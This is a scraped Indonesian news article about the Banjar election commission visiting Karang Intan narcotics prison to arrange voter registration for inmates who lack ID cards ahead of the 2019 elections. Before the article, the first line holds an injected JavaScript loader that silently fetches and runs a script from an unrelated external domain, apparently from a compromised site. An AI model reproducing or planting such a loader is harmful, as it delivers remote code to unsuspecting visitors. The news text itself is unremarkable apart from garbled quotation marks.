(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
MARTAPURA, Guna mematangkan persiapan pemiu 2019, KPU Banjar menyambangi warga binaan di Lembaga Pemasyarakatan (Lapas) Narkotika Klas 2A Karang Intan, Jumat (6/7) lalu. Kegiatan tersebut guna mensosialisasikan agenda pemilu dan berharap partisipasi warga binaan untuk menggunakan hak pilihnya.
Ketua Komisi Pemilihan Umum (KPU) Banjar Muhaimin S.Ag kepada Kanalkalimantan.com mengatakan, tujuan kedatanganya ke Lapas Karang Intan tersebut tidak lain untuk memastikan semua warga binaan Lapas Karang Intan Kabupaten Banjar tersebut dapat menggunakan hak pilihnya dalam pesta pemilu tahun 2019 nanti.
“Hari itu kami konsolidasi data pemilih ke Lapas Karang Intan untuk warga binaan narkoba, dan dari hasil konsolidasi tersebut, ternyata kalau untuk warga binaan di Lapas itu tidak memiliki kartu tanda penduduk (KTP). Karena KTP mereka sudah ditahan ketika mereka di masukan ketahanan oleh Polisi,†ujarnya ditemui di Kantor KPU Banjar Jalan A Yani km 39 Komplek Pangeran Antasari (Kompas) Martapura.
Dan untuk solusinya sendiri menurut Muhaimin, KPU Banjar harus berkoordinasi terlebih dahulu dengan Dinas Kependudukan dan Catatan Sipil (Disdukcapil) Banjar untuk mensinkronasikan data pemilih, bagaimana caranya agar mereka dapat surat keteranagn kependudukan.
Bahkan terkait warga binaan yang berdomisili di luar Kabupaten Banjar, Muhaimin menerangkan, juga akan berkoordinasi dengan pihak Disdukcapil Provinsi. “Yang nantinya akan kita bawa ke rapat koordinasi, tentang persoalan ini, yang jelas baik KPU mau pun Lapas Karang Intan mempunyai komitmen yang sama agar semua warga binaan itu mendapatkan hak pilihnya dan tidak ada yang tidak terlaksana,†tegasnya.
Masih menurut Muhaimin , terkait warga binaan yang sama sekali tidak memiliki atau terdaftar di Disdukcapil tersebut menurutnya, biasanya kalau mereka sudah fingerprint itu akan muncul data mereka, akan tetapi jika tidak terdata, itu nanti bisa diberikan surat keterangan khusus dari Disdukcapil yang tercatat sebagai warga Kabupaten Banjar.
Terkait dimana nanti Tempat Pemungutan Suara (TPS) untuk warga binaan, dia menjawab, secara teknis akan dilaksanakan di Lapas Karang Intan. “Mungkin nanti apakah ada TPS khusu untuk mereka, yang jelas kita masih menunggu ketentuan-ketentuan yang turun dari KPU Pusat. Dan untuk info selanjutnya nanti akan kita sampaikan lagi, yang jelas KPU tetap berkomitmen agar setiap warga Negara untuk menyatakan hak pilihnya harus bisa dimungkinkan,†pungkasnya. (rendy)
KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More
KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More
KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More
KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More
This website uses cookies.